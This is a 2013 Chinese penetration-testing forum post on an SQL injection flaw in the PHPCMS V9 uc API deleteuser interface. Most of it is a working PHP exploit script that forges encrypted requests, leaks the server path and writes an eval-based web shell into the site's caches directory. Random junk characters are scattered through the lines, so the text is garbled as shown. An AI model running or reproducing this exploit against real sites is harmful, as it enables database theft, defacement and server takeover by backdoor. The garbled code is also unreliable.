中国网络渗透测试联盟

标题: PHPCMS V9 uc API SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-9 01:22
标题: PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
3 C# J3 l$ y, S  r! K% o4 E; z: ?2 \5 m0 Y
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
+ d# z9 E1 Y% M% k! C$ ?" D' r3 R9 t, O" `
漏洞分析:# c, l+ G/ b7 q
1.未启用ucenter服务的情况下uc_key为空0 ^9 Y7 A& C1 [; E- {
define('UC_KEY', pc_base::load_config('system', 'uc_key'));8 g' F) Z+ v" F
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。; Z( x9 R3 {! O! P
    public function deleteuser($get,$post) {
, i6 z) |" v- z! m9 S# @  J        pc_base::load_app_func('global', 'admin');& B7 A3 T* ^) @/ D
        pc_base::load_app_class('messagequeue', 'admin' , 0);8 X; Y$ ]" T) A  j" W7 ~4 K4 j) f. P
        $ids = new_stripslashes($get['ids']);9 ~" A0 i' }7 x$ d: h* f* L8 S! q0 ]- v& F
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
" x- N4 q  ~6 W- G  O2 \+ zSQL语句为; }  i) c1 f7 Y3 j
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
( X7 D- A3 K4 M& w9 v$ `6 n0 ]( t1 C+ n) A$ ?& [
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell8 k* h& ]9 U. v1 Y' m
<?php
/ J1 g# R# E* N8 x' cprint_r('- g3 M0 E5 w# l, \9 W2 J
---------------------------------------------------------------------------
+ j2 [. ]% ]5 D  [" c" F0 U6 e, jPHPcms (v9 or Old Version) uc api sql injection 0day) w0 h+ W0 d$ s: h  T! Y% B& H
by rayh4c#80sec.com
( U" r' }  ~2 e+ M7 }6 b, Y---------------------------------------------------------------------------
+ o& u/ k( S6 t');7 a- n8 u+ K! h  C
9 V1 [4 d% {5 u+ z) {  `) i3 ?
if ($argc<3) {
  E5 i: z& c9 @3 U1 e/ L$ U1 ~    print_r('6 \! @6 {6 v, ~" X! C
---------------------------------------------------------------------------) b- I+ o* s9 q- s/ r
Usage: php '.$argv[0].' host path OPTIONS/ q+ |, f" \9 ]. o
host:      target server (ip/hostname)
# G5 a/ L( z7 w- ^path:      path to phpcms
& e/ i" T- i" R+ W8 r3 {: WOptions:" o+ q6 W# e1 F* ^& O& M: }
-p[port]:    specify a port other than 80
4 s" ]" [! y  ~7 F# A -P[ip:port]: specify a proxy6 F, [, t  u& W. x8 p/ t) X% V
Example:8 i0 ^# E- a& f" H
php '.$argv[0].' localhost /
3 `% ]: D" h$ c7 X( r0 H' X' sphp '.$argv[0].' localhost /phpcms/ -p81/ Q, E8 w2 l; B! b
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80& D( o3 z  F$ g1 R7 R$ N
---------------------------------------------------------------------------
  M; }  h8 D& a$ G+ D3 y');& t) ~( U2 k8 g6 N: _( J2 j
    die;
/ k' k: G3 Y! p}) J' G8 b5 x. w  B

9 a" o9 O: w& Q1 D2 C5 G' jerror_reporting(7);
6 c3 }, ^: O- V; k: ^3 S4 Gini_set("max_execution_time",0);0 o/ m6 r+ s" b  a( V! h
ini_set("default_socket_timeout",5);
; N( F7 d: D# W, ]( j, Q4 l% f) t1 d
function quick_dump($string)
/ p* b8 N# o$ W' e$ H4 H{
8 k/ }( ~* c- {& ?% v  $result='';$exa='';$cont=0;
9 Z8 |6 |: g0 @. `0 e  for ($i=0; $i<=strlen($string)-1; $i++)  M$ o8 A7 V0 P7 E* a
  {
( R, {+ ~( M* E+ y& o; S. n* s& y   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))# `+ Q5 [/ H& L! K
   {$result.="  .";}
$ E; J. D% ^! K' r' |   else
: K4 Z* |4 `) X9 a9 y9 ]   {$result.="  ".$string[$i];}% f0 U/ e8 S- E4 g$ m/ }& J
   if (strlen(dechex(ord($string[$i])))==2)5 F0 k, E. F2 _$ ?" E7 E7 V3 x
   {$exa.=" ".dechex(ord($string[$i]));}5 e: O6 g* i( l8 H6 ]
   else
5 f% ^4 U4 |2 f   {$exa.=" 0".dechex(ord($string[$i]));}5 C- g& `8 f; M( h
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}3 B' B3 q$ x/ M( |  l
  }8 J5 P" a/ E; S. L5 m1 k3 v3 U0 e
return $exa."\r\n".$result;
! H+ l1 [# i4 d* i! O/ V1 Q}% u2 W4 m- Z; }' N3 G; N1 Q
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
, t) T" F4 n5 I$ H# l$ l% I  {6 x) X* `# l% @/ f* i
function send($packet)1 z6 A! p  V0 h: b7 K
{: f1 u1 P; T% j  Y8 r& `( }: V. Q
  global $proxy, $host, $port, $html, $proxy_regex;7 S4 v) {# b, S$ e- n+ P8 @' q) r4 F
  if ($proxy=='') {
2 O1 R" W7 Q  K- \( @    $ock=fsockopen(gethostbyname($host),$port);
. A; P: V" f" F! ?    if (!$ock) {
. N5 ^5 _( C. S2 b      echo 'No response from '.$host.':'.$port; die;$ o0 o; Q$ {8 {0 x6 u
    }3 K2 `1 n7 _2 h7 K# b) Y
  }! `6 s. z! E% }& F- G, S: e
  else {. m7 f' u2 Y3 ~( F
        $c = preg_match($proxy_regex,$proxy);
3 e$ x0 I# A, k" [# h$ E    if (!$c) {, ~! z- J! Z$ X# L" p: G6 Y3 `
      echo 'Not a valid proxy...';die;
9 x$ [7 L; V' g$ U! r. M6 h( I7 P" p    }1 N) f2 f- h% |5 C( L
    $parts=explode(':',$proxy);
: Y/ R1 N! I( X7 l. q& ?    $parts[1]=(int)$parts[1];- k$ X) U3 [$ o  r
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ J3 D' ?' C' ?7 A; X7 P: n5 Q    $ock=fsockopen($parts[0],$parts[1]);2 d) b& u2 x4 r  Z; S: e4 A
    if (!$ock) {: G5 i+ ?% D# R+ V# S& }
      echo 'No response from proxy...';die;) H8 c0 n% W: ?7 P
        }
6 B+ L  ?5 ?2 N5 V  K1 N1 Y  }
8 q. J+ w! R- ]! R" U: i) P  fputs($ock,$packet);9 O: T" ~& y5 ^. B: s
  if ($proxy=='') {
: s6 g9 p6 g' R( a    $html='';
$ p% e5 Q, \1 o4 e) u4 X    while (!feof($ock)) {3 q1 t0 o" R9 p% q
      $html.=fgets($ock);
* x* Q7 d/ ]9 `2 ?# j# ~. c' n    }4 @/ B6 a3 [  ?/ j2 J1 p8 h0 ~+ j* ?
  }
5 T( w/ S* ^1 u- S. |( c& [/ X  else {! k2 y+ p" F, |! a) g1 k6 U( t! k
    $html='';. G9 S0 c7 X  K) j8 Z! x0 E
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {5 `1 A$ f& X: a+ c, G' y
      $html.=fread($ock,1);
% N* n" Y) @8 Y/ \% c- K" F    }
. W; f. O/ M6 k6 s7 Y& X  A  }& K$ J8 z4 _; `3 G/ I* X
  fclose($ock);
# r* s" m- Q4 e9 l7 {$ e}
. X) v" A1 V$ H, c
2 M' X4 r! @6 c& ]$host=$argv[1];
  o+ W& E  j, M$path=$argv[2];
( ~* y# Q6 I7 p, i$port=80;
/ [6 |5 _: c3 e; S% f! b$proxy="";. G& W; S8 j+ h* S% o  G4 W9 ?
for ($i=3; $i<$argc; $i++){
' ]3 R9 H& M6 h1 E/ m6 T$temp=$argv[$i][0].$argv[$i][1];
9 M8 x+ R* O; t6 a5 e* Tif ($temp=="-p")' Q8 d9 R$ ^1 i: d# f4 x
{
/ N! O1 e& X# b3 X: b  $port=(int)str_replace("-p","",$argv[$i]);) ?1 O! W: k0 D
}2 ~  w9 {0 P& i0 ~) d! }& c* M
if ($temp=="-P")
; z4 W* R. r" }{: a: L% {' f; |% T4 S
  $proxy=str_replace("-P","",$argv[$i]);: r! `# t1 }9 V  j& K( X
}8 q6 [+ C- ^" k+ Z" L
}
' M* A' v% G, r3 C! D1 P/ T6 _
: g5 K' p4 `0 s0 c! e: @: qif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}& K& C5 ^) D' v+ U4 c
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
, E* l- j' s0 \* F- \: M7 U
: G; F5 [. h8 nfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
6 P  r: x$ p+ [& m" h
0 N, M1 O" u. E    $ckey_length = 4;3 O) O4 |, {( @* ~! l2 Y

: D! E2 @2 n9 z2 G" W0 G    $key = md5($key ? $key : '');
$ p+ e9 J4 |( M    $keya = md5(substr($key, 0, 16));
5 @9 \% U: U: q9 K& K    $keyb = md5(substr($key, 16, 16));  _. @5 o6 {$ w" r: d- K$ [! A" J
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';* m) @  V# ~  c) s- q: d

+ m! E$ v9 ?2 u3 l7 [2 E; G/ H% _    $cryptkey = $keya.md5($keya.$keyc);0 B  t8 f+ n! V. O+ V$ l) A! o
    $key_length = strlen($cryptkey);
: ~/ z; H) |& p/ D# |8 d! P0 w8 _
6 T; C: G2 Z4 x( U    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;3 x% F# l1 z$ ]1 N! u
    $string_length = strlen($string);
8 A2 F! c- K; J2 p1 {; s% F& A+ J2 C* A4 Q( R& E
    $result = '';
8 `, [6 j, G! g9 i& u4 A    $box = range(0, 255);
6 Y8 g! g' @9 B8 r8 |7 ^% c
* s5 J- |9 t* e5 n" Q# Y    $rndkey = array();
, M/ C0 @1 K# D/ [    for($i = 0; $i <= 255; $i++) {9 Y, n- [" a- T7 j5 V+ y$ _
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);4 U& {4 A0 T. H1 \
    }
  n: q3 O$ D2 A/ V, s
! h: [- n6 y! y7 G5 }    for($j = $i = 0; $i < 256; $i++) {
8 X0 k1 p2 O* Z# L/ q        $j = ($j + $box[$i] + $rndkey[$i]) % 256;5 ^  M  o5 S* [' n& w# l. O- z
        $tmp = $box[$i];; ]$ J' u! S0 f* Q+ ?) k5 z8 X
        $box[$i] = $box[$j];
: I( h$ a$ }( E+ P& F* j        $box[$j] = $tmp;
7 u. H! j% A: ?, a: z) b0 y    }
  I- G+ U- @$ v4 ^( V  r1 C$ `4 L9 @4 `
    for($a = $j = $i = 0; $i < $string_length; $i++) {
2 v9 P: Z, ]6 h2 b0 B+ \* H3 |        $a = ($a + 1) % 256;& L2 j& H5 ^5 W9 F
        $j = ($j + $box[$a]) % 256;" q' s1 n- T6 ?  Q, {* X% Y
        $tmp = $box[$a];  \: [4 I4 }- Z0 k; @: K1 d. C1 g
        $box[$a] = $box[$j];
' ]. C' r5 z, v5 o        $box[$j] = $tmp;# i8 t+ z! p% G
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));9 O1 Y9 k& c! e: m* g
    }' T% o2 F9 t' K) l- T2 }
4 _! b% h' g5 X5 |& @
    if($operation == 'DECODE') {3 u; U) I; C5 M2 p& X7 C
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {1 v( v. a; j; s  ]8 j" |
            return substr($result, 26);# t7 t$ P4 r' z# i
        } else {
8 l0 o1 r% K- m6 V* A- I7 b            return '';3 c0 b: i# |$ y; c
        }9 ^. J& J+ O3 X
    } else {) p3 s$ O) S1 v. ~! _
        return $keyc.str_replace('=', '', base64_encode($result));& |7 q" e; P* `, @4 n
    }' f' m5 L/ R" o% l# U" ^

9 E5 ?/ c: \7 W7 ~4 }}) o4 q2 W. Z7 f, p
" _1 w6 F- m: K5 }" Q" }/ B
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
' q! r; z4 J( h$SQL = urlencode(authcode($SQL, "ENCODE", ""));
3 H2 U) E- i2 T6 `- ?0 xecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";8 d/ k  S# o3 e/ ~
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";/ G2 B( x6 E$ }
$packet.="User-Agent: Mozilla/5.0\r\n";
5 _& E! l+ H% Y, q) e+ S( o$packet.="Host: ".$host."\r\n";, T  p- b1 @" U9 R& |/ }( E! z
$packet.="Connection: Close\r\n\r\n";
3 f; S6 @: q0 l  J7 E0 a7 ?send($packet);4 d2 k8 ~( v3 I+ o( ~. l
if(strpos($html,"MySQL Errno") > 0){9 S: N  B1 z- Z3 H! G0 v6 a# \4 r
echo "[2] 发现存在SQL注入漏洞"."\n";: o' h, p9 j" y' y( b$ c0 j5 E
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";. ]- ~. \- A0 B6 c  @' S, q" K, Y
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
5 d0 d( A4 L  |8 u$packet.="User-Agent: Mozilla/5.0\r\n";' ]1 `& \% x- W1 l. |- n. x
$packet.="Host: ".$host."\r\n";/ H6 t6 b, n. p/ p
$packet.="Connection: Close\r\n\r\n";; U# G3 f( L/ A5 m7 `0 a% O
send($packet);
2 M( k4 H) F0 dpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
" }$ H+ j% @- t; [& c3 U//print_r($matches);- |7 M. w' F2 ~7 `% V
if(!empty($matches)){
  s3 A! s; a: k4 e5 V9 n8 ?echo "[4] 得到web路径 " . $matches[0]."\n";
! h0 a+ {# A  j) ?- V0 h: necho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
( E- m3 D- t6 x$SQL = "time=999999999999999999999999&ids=1)";) y- C! b9 [# ~% M( }  ~# g
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";# U8 U3 }) |# M* D1 U0 [" v
$SQL.="&action=deleteuser";
5 ^% f0 |3 m- e* ?; C9 R7 ]1 J$SQL = urlencode(authcode($SQL, "ENCODE", ""));
6 L$ y0 u+ R. ?9 k; Uecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
3 L: V4 L$ M' A! O! M$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
2 y+ a9 U1 d  C2 n: o: j  i$packet.="User-Agent: Mozilla/5.0\r\n";  R/ E8 ]# k" X& I+ K
$packet.="Host: ".$host."\r\n";
* n9 r3 K/ o& P& b$packet.="Connection: Close\r\n\r\n";- J$ m" D0 f$ s- k* h0 A
send($packet);( ~+ W9 j7 u1 M7 @- k2 s7 j
if(strpos($html,"Access denied") > 0){$ B3 Y9 B( J6 ^" ~
echo "[-] MYSQL权限过低 禁止写入文件 ";. v# B. G" v: |
die;
' ^$ M7 }5 d0 F}
  w4 {' L3 E3 K$ {6 F$ y8 ^echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
. e9 S9 p1 |5 v) i+ T& c$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";; b: V" L4 h( ~6 I! {" H: O1 M. \' I& V
$packet.="User-Agent: Mozilla/5.0\r\n";
; M, h9 _4 x; T9 D$packet.="Host: ".$host."\r\n";
% S+ }% T" ~$ H$packet.="Connection: Close\r\n\r\n";
% \5 R% Y5 J) ^send($packet);
5 K2 Z; @/ h+ _; F  n) w3 s" [if(strpos($html,"<title>phpinfo()</title>") > 0){
" N$ _) X7 q; a# Secho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";1 l" u$ k" w7 g7 `. }
}
- a9 ^& U3 S/ B5 p}else{
; A: ~& b  M7 T- u7 Yecho "[-]未取到web路径 ";
8 |7 T! ~5 B1 u+ y2 \+ M* e6 R}
1 [/ Y1 n, P0 z9 e! ~* i}else{) L9 A8 U( a! ?- v% t. G7 I
echo "[*]不存在SQL注入漏洞"."\n";
' ~- s  B. `# p6 _% L}
( p: \- S* |+ \" M( Q! r5 t  F
  R" H1 x, H$ q: C9 L?>
. r# q: X7 Y+ Y: Z& _% B+ P* i$ [1 J: a




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2